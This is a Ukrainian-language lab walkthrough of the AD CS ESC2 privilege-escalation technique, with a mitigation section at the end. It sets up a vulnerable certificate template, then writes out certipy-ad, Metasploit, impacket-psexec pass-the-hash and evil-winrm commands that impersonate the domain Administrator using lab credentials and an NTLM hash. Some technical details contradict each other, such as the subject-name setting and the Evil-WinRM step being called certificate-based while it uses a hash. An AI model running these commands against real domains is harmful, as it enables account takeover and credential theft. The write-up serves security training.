SYS_SEARCH v1.0.4 [ESC] TO ABORT
>>
>> LOC: ARCHIVE_ROOT/REDTEAM/ad_cs_esc2_certificate_exploitation_techniques_and // SEC_LEVEL: 01 // STATUS: CONFIDENTIAL

>

#ADCS#Privilege Escalation#Active Directory
FILE_INFO_DECRYPTED
AUTHOR: MD Aslam
SOURCE: [ACCESS_ORIGINAL_NODE]
TRANSLATE: @exploit.com.ua

Продовжуючи цикл матеріалів про вразливості AD CS, де ми раніше розібрали сценарій ESC1, сьогодні ми зосередимося на експлуатації ESC2. Цей вектор атаки базується на некоректному налаштуванні шаблонів із використанням EKU «Any Purpose» (Будь-яке призначення). Завдяки цій прогалині навіть звичайний користувач може отримати сертифікат, що дозволяє імітувати будь-який обліковий запис у домені та проходити автентифікацію в обхід паролів.

Що таке ESC2?

ESC2 (Escalation Path 2) - це критична вразливість в Active Directory Certificate Services (AD CS). Вона виникає, коли шаблон сертифіката доступний для реєстрації звичайним користувачам, але містить специфічні розширені призначення ключів (EKU), що дозволяють автентифікацію:

  • Client Authentication (1.3.6.1.5.5.7.3.2)
  • Smart Card Logon (1.3.6.1.4.1.311.20.2.2)
  • Any Purpose (2.5.29.37.0)

Завдяки цим EKU зловмисник може запитати сертифікат і використати його для проходження автентифікації через протокол Kerberos (PKINIT) від імені будь-якого користувача домену. Це дозволяє повністю обійти потребу в знанні пароля цільового облікового запису.

Оскільки теоретичні засади роботи AD CS ми вже детально розібрали у попередній статті, тут ми зосередимося виключно на практичній експлуатації: як саме некоректні налаштування EKU стають інструментом для повної компрометації контролера домену.

Основна ідея ESC2:

«Якщо я, маючи мінімальні права, можу отримати сертифікат із призначенням Any Purpose, я отримую універсальний ключ для автентифікації в домені. Мені навіть не потрібно знати власний пароль, щоб підтвердити свою особу».

На перший погляд це може здатися локальною проблемою одного користувача. Проте справжня небезпека виникає у комбінації з атаками NTLM Relay або методами примусової автентифікації (Coercion attacks). Зловмисник може змусити привілейований обліковий запис (наприклад, контролер домену або адміністратора) звернутися до вразливого шаблону. Результат - отримання сертифіката рівня Domain Admin і повна компрометація мережі.

Зміст

Порівняння ESC1 та ESC2

Чому ESC2 є небезпечним?

Попередні вимоги (Prerequisites)

Налаштування лабораторного стенду (Lab Setup)

Пошук та експлуатація (Enumeration and Exploitation)

Атака ESC2 за допомогою Certipy

Пост-експлуатація (Post Exploitation)

  • Горизонтальне переміщення та ескалація привілеїв через impacket-psexec
  • Атака ESC2 за допомогою Metasploit
  • Горизонтальне переміщення та ескалація привілеїв через Evil-Winrm

Заходи захисту (Mitigation)

Порівняння ESC1 та ESC2

Оскільки різниця між ними вже зрозуміла, перейдемо безпосередньо до обговорення.

Чому ESC2 є небезпечним?

Безпарольна автентифікація за допомогою сертифікатів

В атаці ESC2 зловмисник обходить традиційну автентифікацію, використовуючи сертифікат замість пароля для доступу до Active Directory. Це усуває потребу в підборі паролів або викраденні їхніх хешів. Оскільки методи перебору (brute-force) не потрібні, атакуючий може просто зареєструвати сертифікат і пройти автентифікацію, повністю ігноруючи багатофакторну автентифікацію (MFA) та будь-які чинні політики складності паролів.

Наслідки: Навіть найбільш захищені конфігурації паролів та налаштування багатофакторної автентифікації стають неефективними. ESC2 обходить їх усі.

Можливість експлуатації будь-яким користувачем домену

ESC2 не потребує адміністративних привілеїв. Якщо шаблон сертифіката налаштований неправильно і доступний для групи «Authenticated Users» або має призначення «Any purpose», будь-який звичайний користувач домену може експлуатувати його. Це означає, що зловмисникам не потрібні підвищені права для початку атаки.

Наслідки: Рядовий користувач мережі без спеціальних дозволів може використати ESC2 для ескалації привілеїв або закріплення в системі.

Персистентний та непомітний доступ

Сертифікати часто мають тривалий термін дії - місяці або навіть роки. Після викрадення або неправомірного використання їх можна застосовувати неодноразово, не викликаючи типових сповіщень, як-от повідомлення про зміну пароля або помилки входу.

Наслідки: ESC2 забезпечує тривалий і прихований доступ, який важко виявити, надаючи зловмисникам довгострокову опору в середовищі.

Потужність у поєднанні з іншими атаками

ESC2 особливо небезпечний у комбінації з такими атаками, як NTLM relay, примусова автентифікація (coercion) або горизонтальне переміщення. Зловмисники можуть змусити привілейовані облікові записи запитати вразливі сертифікати, що призводить до повної компрометації домену.

Наслідки: У ланцюжку з іншими експлойтами ESC2 може відкрити шлях до повного захоплення домену.

Часто неправильно розуміється та ігнорується

Багато хто сприймає сертифікати лише як засіб шифрування, але в AD CS вони слугують потужними токенами автентифікації. Неправильно налаштований шаблон такий самий ризикований, як і витік приватних ключів SSH.

Наслідки: Загрозу ESC2 часто недооцінюють, залишаючи організації несвідомо відкритими для серйозних атак.

Складність виявлення стандартними інструментами

Видача сертифікатів в AD CS відбувається непомітно, без запитів на підтвердження входу або повідомлень про помилки. Це дозволяє зловмисникам генерувати квитки Kerberos і переміщатися мережею, не активуючи типові сповіщення систем безпеки.

Наслідки: Традиційні SIEM-системи та антивірусні рішення можуть не виявити ESC2, якщо вони не налаштовані спеціально для моніторингу таких подій, як Event ID 4887 або підозріла реєстрація сертифікатів.

Примітка: ESC2 - це ніби дозволити зловмиснику самому надрукувати собі перепустку: вона виглядає справжньою, працює ідеально, хоча її власник ніколи не мав на це прав.

У цій статті ми експлуатуємо неправильно налаштоване середовище AD CS, що дозволяє користувачам із низьким рівнем привілеїв видавати себе за високопривілейовані облікові записи через вразливі шаблони сертифікатів (ESC2).

Попередні вимоги (Prerequisite)

  • Windows Server 2019, налаштований як Active Directory із підтримкою PKINIT.
  • У домені мають бути налаштовані Active Directory Certificate Services та Центр сертифікації (CA).
  • Kali Linux із попередньо встановленими інструментами.
  • Інструментарій: Evil-winrm, Impacket, certipy-ad, Metasploit.

Чудово, давайте перейдемо до повного налаштування лабораторії ADCS для ESC2, крок за кроком.

Налаштування лабораторного стенду (Lab setup)

Почніть із запуску консолі шаблонів сертифікатів (Certificate Template Console).

Запуск:: Виконайте команду certtmpl.msc на контролері домену та перейдіть у Certificate Templates → Manage.

Кроки:

1. Дублювання шаблону сертифіката

  • Прокрутіть список униз і знайдіть шаблон «Code Signing».
  • Натисніть на нього правою кнопкою миші → Виберіть Duplicate Template.

2. Налаштування нового шаблону

Відкриється нове вікно з вкладками. Пройдіть по кожній із них.

Вкладка General (Загальні)

  • Змініть Template display name (Відображувана назва шаблону) на: ESC2
  • (Опціонально) Змініть термін дії (Validity Period), стандартний 1 рік цілком підходить.

Ця назва відображатиметься під час запиту сертифіката

Налаштування вкладки Subject Name (Ім’я суб’єкта)

  • Виберіть: Build from this Active Directory information (Побудувати на основі інформації з Active Directory)

Це налаштування не дозволяє зловмисникам вказувати власну ідентичність (наприклад, CN=Administrator)

Налаштування вкладки Extensions (Розширення)

  • Перейдіть на вкладку Extensions.
  • Далі виберіть Application Policies → Натисніть Edit (Змінити).

У вікні редагування (Edit Window):

  • Виберіть: Code Signing → Натисніть Remove (Видалити)

Налаштування вкладки Security (Безпека)

  • Натисніть Add (Додати) → Введіть Domain Users → Натисніть OK.
  • Виберіть групу Domain Users.
  • Поставте галочку навпроти → Enroll (Реєстрація).

Дозволяє користувачам із низьким рівнем привілеїв запитувати сертифікати, але не видавати себе за інших (impersonate)

Примітки:
  • EKU Any Purpose (Будь-яке призначення) дозволяє використовувати сертифікат у багатьох сценаріях, включаючи вхід за допомогою смарт-карток, S/MIME та доступ до VPN.
  • Наявність Client Authentication або Any Purpose гарантує сумісність сертифіката з автентифікацією на базі Kerberos.
  • Виключення Code Signing (Підпис коду) знижує ризики зловживань, наприклад, використання сертифіката для підпису шкідливого коду в середовищах із низьким рівнем безпеки.
Підтвердження вимог до видачі
  • Поверніться до вікна Центру сертифікації (certsrv.msc). Натисніть правою кнопкою миші на Certificate Templates → виберіть New → Certificate Template to Issue.

  • Знайдіть у списку вразливий шаблон і виберіть його (у нашому випадку ми створили його під назвою ESC2).
  • Натисніть OK, щоб опублікувати його.

Збереження шаблону
  • Натисніть OK, щоб зберегти та закрити вікно.

Ми бачимо, що наш шаблон створено!

Пошук та експлуатація (Enumeration & Exploitation)

Атака ESC2 за допомогою Certipy

Certipy - це інструмент на Python, який допомагає виявляти та експлуатувати вразливості AD CS шляхом ідентифікації вразливих шаблонів, запиту та конвертації сертифікатів, а також уможливлює методи автентифікації, такі як Kerberos, DCSync та атаки у стилі Rubeus.

Пошук вразливих шаблонів

Використовуйте свої дійсні облікові дані з низькими привілеями (у нашому випадку це користувач raj), щоб перевірити AD CS:

Запустіть наступну команду:

certipy-ad find -u 'raj@ignite.local' -p Password@1 -dc-ip 192.168.1.48 -vulnerable -enabled

Вихідні дані мають вказувати на те, що шаблон ESC2 доступний для реєстрації користувачем raj, дозволяє вказувати суб’єкта (subject) у запиті та, у нашому випадку, містить EKU «Any purpose».

Запит сертифіката від імені адміністратора

Використовуйте вразливий шаблон, щоб запросити сертифікат для свого користувача (наприклад, raj).

certipy-ad req -u 'raj@ignite.local' -p 'Password@1' -dc-ip 192.168.1.48  -ca ignite-DC-CA -target 'dc.ignite.local' -template 'ESC2'

У разі успіху Certipy збереже сертифікат у форматі .pfx (у нашому випадку - raj.pfx)!

Ми даємо вказівку Certipy увійти під обліковим записом raj, використати шаблон сертифіката «User» для запиту сертифіката від імені адміністратора та зберегти отриманий сертифікат як raj.pfx.

certipy-ad req -u 'raj@ignite.local' -p 'Password@1' -dc-ip 192.168.1.48  -ca ignite-DC-CA -target 'dc.ignite.local' -template 'User' -on-behalf-of administrator -pfx raj.pfx

У разі успіху це дасть нам дійсний сертифікат для Administrator без знання його облікових даних.

Примітка:Прапор -on-behalf-of administrator є ключовим кроком імітації (impersonation); він дає вказівку Центру сертифікації видати сертифікат для адміністратора, а не для користувача, який робить запит.

Використання сертифіката

Після автентифікації від імені адміністратора виконайте дамп NTLM-хешів із контролера домену.

certipy-ad auth -pfx administrator.pfx  -dc-ip 192.168.1.48

Постексплуатація (Post Exploitation)

Горизонтальне переміщення та підвищення привілеїв за допомогою impacket-psexec

Після отримання NTLM-хешів виконайте горизонтальне переміщення (lateral movement), використовуючи атаку Pass-the-Hash (PTH).

Для цього скористайтеся чудовим інструментарієм impacket із наступною командою:

Impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a83bf38 administrator@192.168.1.48

Атака ESC2 за допомогою Metasploit

Модуль Metasploit auxiliary/gather/ldap/ldap_esc_vulnerable_cert_finder використовується для пошуку вразливих шаблонів сертифікатів AD CS безпосередньо через LDAP - він виявляє такі помилки конфігурації, як ESC2.

Давайте розберемося, як ефективно його використовувати, а потім - як експлуатувати ESC2 на основі отриманих результатів.

  • Пошук вразливих шаблонів сертифікатів

Запустіть Metasploit: msfconsole

Завантажте модуль:

use auxiliary/gather/ldap/ldap_esc_vulnerable_cert_finder
set RHOSTS 192.168.1.48
set DOMAIN ignite.local
set USERNAME raj
set PASSWORD Password@1
run

Це підтверджує, що ESC2 можлива (система вразлива) - шаблон дозволяє імітацію користувача (impersonation).

  • Запит сертифіката від імені адміністратора

Модуль Metasploit auxiliary/admin/dcerpc/icpr_cert експлуатує неправильно налаштовані шаблони AD CS (ESC2), запитуючи сертифікати через RPC замість веб-інтерфейсу та зберігаючи отриманий файл .pfx для подальшої автентифікації.

Сервер AD CS схвалив запит на сертифікат, видавши його для користувача raj@ignite.local.
Він був збережений як файл .pfx (PKCS#12) за шляхом: /root/.msf4/loot/…. Цей файл містить як сертифікат, так і закритий ключ, готові для автентифікації на базі PKINIT. Вивід команди loot підтверджує:

  • Файл .pfx є дійсним і збережений локально.
  • Тепер його можна використовувати для автентифікації від імені raj або для імітації іншого користувача, залежно від дозволів шаблону.

Завантажте модуль запиту сертифіката

use auxiliary/admin/dcerpc/icpr_cert
set RHOSTS 192.168.1.48
set CA ignite-DC-CA
set CERT_TEMPLATE ESC2
set SMBDomain ignite.local
set SMBPass Password@1
set SMBUser raj
run

Ми успішно провели атаку ESC2, використовуючи модуль Metasploit admin/dcerpc/icpr_cert, видавши себе за адміністратора (Administrator) та отримавши дійсний сертифікат PFX, виданий на його ім’я.

Налаштування ON_BEHALF_OF дозволяє користувачеві з низьким рівнем привілеїв запитувати сертифікат від імені іншого користувача - у даному випадку, адміністратора.

Примітка: Це працює тільки якщо шаблон сертифіката дозволяє це (SubjectAltName від запитувача та відсутність вимог Manager Approval або обмежень ENROLLEE_SUPPLIES_SUBJECT).

Ми вибрали шаблон сертифіката «User», який, імовірно, доступний для реєстрації поточним користувачем.

Завантажте модуль запиту сертифіката
set ON_BEHALF_OF Administrator
set PFX root/.msf4/loot/20250112054234_default_192.168.1.48_windows.ad.cs_334626.pfx
set CERT_TEMPLATE User
run

Ми успішно отримали сертифікат від імені адміністратора (Administrator), що підтверджує вразливість шаблону до ESC2. Отриманий файл .pfx тепер слугує закритим ключем та сертифікатом адміністратора, дозволяючи проходити автентифікацію Kerberos від імені цього користувача за допомогою Certipy або подібних інструментів.

Перейменування файлу на administrator.pfx допоможе вам швидко ідентифікувати сертифікат як такий, що належить імітованому обліковому запису адміністратора.

Запустіть команду для перейменування:

mv 20250112054501_default_192.168.1.48_windows.ad.cs_460247.pfx administrator.pfx

Модуль auxiliary/admin/kerberos/get_ticket можна використовувати для запиту квитків TGT/TGS у KDC.

Підтримуються такі дії (ACTIONS):

  • GET_TGT: легальний запит TGT у KDC за допомогою пароля, NT-хешу або ключа шифрування. Отриманий TGT буде кешовано.
  • GET_TGS: легальний запит TGS у KDC за допомогою пароля, NT-хешу, ключа шифрування або кешованого TGT. Якщо TGT не надано, модуль запитає його так само, як і в дії «GET_TGT». Отримані TGT та TGS будуть кешовані.

Використовуйте файл .pfx, щоб автентифікуватися як Administrator і отримати Kerberos TGT, який згодом можна буде використати для атак Pass-the-Ticket.

Запустіть Metasploit: msfconsole

Завантажте модуль та встановіть необхідні параметри:

use admin/kerberos/get_ticket
set cert_file /root/.msf4/loot/administrator.pfx
set rhosts 192.168.1.48
set action GET_HASH
run

Якщо атака пройшла успішно, система видасть NTLM-хеш.

Горизонтальне переміщення та підвищення привілеїв за допомогою Evil-WinRM

Використовуйте Evil-WinRM, щоб отримати оболонку (shell) від імені адміністратора, використовуючи автентифікацію на основі сертифіката.

Запустіть команду наступним чином:

evil-winrm -i 192.168.1.48 -u administrator -H 32196b56ffe6f45e294117b91a83bf38

Заходи із запобігання вразливостям (Mitigation)

  • Посилення захисту шаблонів - Деактивуйте параметр ENROLLEE_SUPPLIES_SUBJECT та видаліть непотрібні EKU (наприклад, Client Authentication), якщо вони не використовуються.
  • Суворе обмеження прав доступу - Надавайте дозволи на реєстрацію (Enroll) та автореєстрацію (Autoenroll) виключно довіреним користувачам і групам.
  • Оптимізація активних шаблонів - Відкличте публікацію застарілих або небезпечних шаблонів (наприклад, стандартного шаблону «User»), якщо в них немає прямої потреби.
  • Впровадження ручного підтвердження - Налаштуйте обов’язкове схвалення адміністратором (Manager Approval) для видачі критично важливих сертифікатів.
  • Моніторинг і аудит - Налаштуйте відстеження подій у журналах безпеки: звертайте увагу на Event ID 4886 (запит сертифіката) та 4887 (видача сертифіката).
  • Регулярне сканування на вразливості - Періодично використовуйте такі інструменти, як Certipy або Metasploit, для виявлення та виправлення некоректних конфігурацій шаблонів.
  • Ізоляція інфраструктури AD CS - Своєчасно встановлюйте оновлення безпеки, обмежуйте мережевий доступ до серверів сертифікації та вимикайте невикористовувані ролі AD CS.